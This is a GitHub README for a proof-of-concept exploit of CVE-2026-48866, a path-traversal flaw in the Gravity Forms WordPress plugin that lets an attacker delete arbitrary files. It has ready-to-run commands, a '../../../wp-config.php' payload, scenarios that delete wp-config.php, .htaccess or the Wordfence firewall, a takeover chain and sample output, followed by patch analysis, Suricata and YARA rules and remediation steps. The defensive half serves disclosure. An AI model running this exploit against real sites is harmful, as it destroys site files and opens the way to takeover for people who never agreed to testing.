Skip to content

About

Gravity Forms path-traversal research with a proof of concept and disclosure notes.

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-48866 CVSS 9.6 CWE-22 Affected Fixed

Type Access Trigger Platform Python License


  ┌───────────────────────────────────────────────────────────┐
  │                                                           │
  │   C V E - 2 0 2 6 - 4 8 8 6 6                             │
  │                                                           │
  │   Gravity Forms Path Traversal → Arbitrary File Deletion  │
  │                                                           │
  └───────────────────────────────────────────────────────────┘

gform_uploaded_files accepts ../ in URLs. An admin's delete click triggers arbitrary file deletion.

NVD • Patchstack • Patched Commit • Source Mirror


Table of Contents

Exploit

Defense


Quick Start

┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests

# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3

# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

How It Works

Attack Flow

  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

The Root Cause (3 Lines of PHP)

// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
    trailingslashit( $path_info['url'] ),    // https://target.com/wp-content/uploads/gravity_forms/
    trailingslashit( $path_info['path'] ),   // /var/www/html/wp-content/uploads/gravity_forms/
    $url                                      // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php

No check exists between str_replace() and unlink(). The bug lives in that gap.


Impact

Target Effect Severity
wp-config.php Site goes offline. WordPress shows the installer wizard. Attacker points the DB to their own server for full site takeover. CRITICAL
.htaccess URL rewriting and security rules gone. Directory listings open. HIGH
wp-content/plugins/wordfence/wordfence.php Wordfence WAF stops running. No firewall between attacker and site. HIGH
wp-includes/plugin.php No plugins load. Site stops functioning. CRITICAL
wp-login.php Admin locked out. Nobody can log in until you restore files. MEDIUM

"Vulnerabilities like this one are used in mass-exploit campaigns targeting thousands of websites at a time." Patchstack Advisory, 2026-06-01

Deletion → RCE Escalation Chain

  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

RCE chain requires:

  • Attacker-controlled reachable MySQL server
  • WordPress installer accessible (not blocked by hosting/WAF)
  • Result: attacker gets a fresh WordPress install on the same domain, NOT access to existing site data

Usage

Command Reference

┌──────────────────────────────────────────────────────────────────────────┐
│  USAGE                                                                   │
│  ─────────────────────────────────────────────────────────────────────   │
│  python3 poc.py [OPTIONS]                                                │
│                                                                          │
│  REQUIRED                                                                │
│    -t, --target TARGET       Target WordPress URL                        │
│    -f, --form-id ID          Gravity Forms form ID                       │
│    -i, --field-id ID         File upload field ID                        │
│                                                                          │
│  OPTIONAL                                                                │
│    --file FILE               Relative path to delete (default:           │
│                              wp-config.php)                              │
│    --depth N                 ../ count (default: 3)                       │
│    --trigger                 Auto-delete via admin login                  │
│    --admin-user USER         Admin username (default: admin)              │
│    --admin-pass PASS         Admin password (default: admin)              │
│    --proxy URL               HTTP proxy for intercepting                  │
│    --verify-only             Check target only, don't exploit             │
└──────────────────────────────────────────────────────────────────────────┘

Example Scenarios

Scenario 1: Silent injection (no admin creds needed)
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3
  1. PoC fetches the form page, extracts the AJAX nonce
  2. Submits gform_uploaded_files with ../../../wp-config.php embedded in the URL
  3. The database stores the entry with the malicious URL
  4. When an admin deletes the entry (routine cleanup or bulk delete), wp-config.php is gone

Time to trigger: Unknown. Depends on admin behavior. Hours or weeks.

Scenario 2: Full kill chain (admin creds provided)
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
  1. Phase 1: Injects the malicious entry (same as Scenario 1)
  2. Phase 2: Logs into WordPress as admin, finds the poisoned entry, deletes it
  3. wp-config.php is gone
  4. PoC checks that the site is down

Time to trigger: Seconds.

Scenario 3: Target .htaccess (lower depth needed)
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file .htaccess \
  --depth 2 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'

Depth explanation:

depth 3 (default):  gravity_forms/ → uploads/ → wp-content/ → WP root
depth 2:            gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here)
depth 1:            gravity_forms/ → uploads/ (files in uploads dir)
Scenario 4: Disable Wordfence firewall
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --file wp-content/plugins/wordfence/wordfence.php \
  --depth 1 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!'
Scenario 5: Route through Burp Suite
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3 \
  --trigger \
  --admin-user admin \
  --admin-pass 'P@ssw0rd!' \
  --proxy http://127.0.0.1:8080

Sample Output

    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     https://test.com
    Form ID:    1
    Field ID:   3
    File:       wp-config.php
    Depth:      3
    Trigger:    True

[*] === Phase 1: Injecting path traversal payload ===
[*] Fetching form page to get nonce...
[+] Got nonce: a1b2c3d4e5f6
[*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php
[*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php...
[*] Response status: 200
[+] Form submitted successfully. Malicious URL stored in entry.

[*] === Phase 2: Triggering file deletion as admin ===
[+] Logged in as admin
[+] Found latest entry ID: 42
[*] Deleting entry 42...
[+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health...
[!!!] Site returned error - wp-config.php may have been deleted!

Technical Deep-Dive

Call Stack: Injection Path

wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

Call Stack: Deletion Path

GFFormsModel::delete_lead()                           [forms_model.php]
  └─ GFFormsModel::delete_files( $entry_id )
      └─ delete_physical_file( $file_url, $entry_id )
          ├─ get_physical_file_path( $url )
          │   └─ str_replace( url_base, path_base, $url )    ← ../ PRESERVED
          ├─ file_exists( $file_path )                        ← OS resolves ../
          └─ unlink( $file_path )                             ← ARBITRARY FILE DELETED

Vulnerable vs Patched

Vulnerable (≤ 2.10.0.1) Patched (2.10.1)
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}
// delete_physical_file() — WITH validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// NEW: verify path is in uploads
if ( ! GFCommon::is_file_in_uploads($url) ) {
    GFCommon::log_debug(__METHOD__
        . sprintf(': Not deleting: %s', $file_path));
    return;
}
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}

Patch Functions (v2.10.1)

GFCommon::get_absolute_path() resolves . and .. by walking path segments:

public static function get_absolute_path( $path ) {
    $path      = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
    $path      = str_replace( '://', '|%%protocol%%|', $path );
    $parts     = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
    $absolutes = array();

    foreach ( $parts as $part ) {
        if ( '.' == $part ) { continue; }
        if ( '..' == $part ) {
            array_pop( $absolutes );
        } else {
            $absolutes[] = $part;
        }
    }

    $path = implode( DIRECTORY_SEPARATOR, $absolutes );
    return str_replace( '|%%protocol%%|', '://', $path );
}

GFCommon::is_file_in_uploads() compares the resolved path against the uploads root:

public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

Commit References

Version Commit Description
v2.10.0 86bf7b9 Vulnerable. No path validation in delete_physical_file()
v2.10.1 cf2ff65 Patched. Adds is_file_in_uploads() guard before unlink()

Detection

Network: Suricata Rules

# Rule 1: Detect ../ traversal in gform_uploaded_files
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"../"; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048866; rev:1;)

# Rule 2: URL-encoded variant (%2e%2e)
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"%2e%2e"; nocase; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048867; rev:1;)

# Rule 3: "url" key with traversal nearby
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"|22|url|22|"; distance:0; \
  content:".."; distance:0; within:200; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048868; rev:1;)

Host: YARA Rules

rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}
# Scan your Gravity Forms installation
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
Rule You Found
CVE_2026_48866_Exploit_Payload The exploit payload in an HTTP log or POST body
CVE_2026_48866_Vulnerable_Plugin A Gravity Forms install without the fix
CVE_2026_48866_Patched_Plugin A Gravity Forms install with the fix

Log Analysis

# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

Remediation

┌─────────────────────────────────────────────────────────────────────────┐
│  REMEDIATION CHECKLIST                                                  │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1                               │
│  [ ] 2. VERIFY fix is present (grep for is_file_in_uploads)            │
│  [ ] 3. AUDIT access logs for past exploitation attempts               │
│  [ ] 4. DEPLOY Suricata/WAF rules as interim protection               │
│  [ ] 5. CHECK file integrity (were any core files already deleted?)    │
│  [ ] 6. MONITOR for new entries with suspicious file URLs              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
Priority Action Command
P0 Update Gravity Forms WordPress admin → Plugins → Update
P1 Verify patch grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/
P2 Audit logs grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log
P3 Deploy WAF rules See Detection section above

Disclaimer

┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

References

Source Link Status
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-48866 Verified
Patchstack Advisory https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability Verified
Gravity Forms Changelog https://docs.gravityforms.com/gravityforms-change-log/ Verified
Source Code (Mirror) https://github.com/codewurker/gravityforms Verified
Vulnerable Commit (v2.10.0) https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed Verified
Patched Commit (v2.10.1) https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 Verified
CWE-22 https://cwe.mitre.org/data/definitions/22.html Verified
MITRE CVE https://www.cve.org/CVERecord?id=CVE-2026-48866 Not yet populated

Authorized pentesting Stars

About

Gravity Forms path-traversal research with a proof of concept and disclosure notes.

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages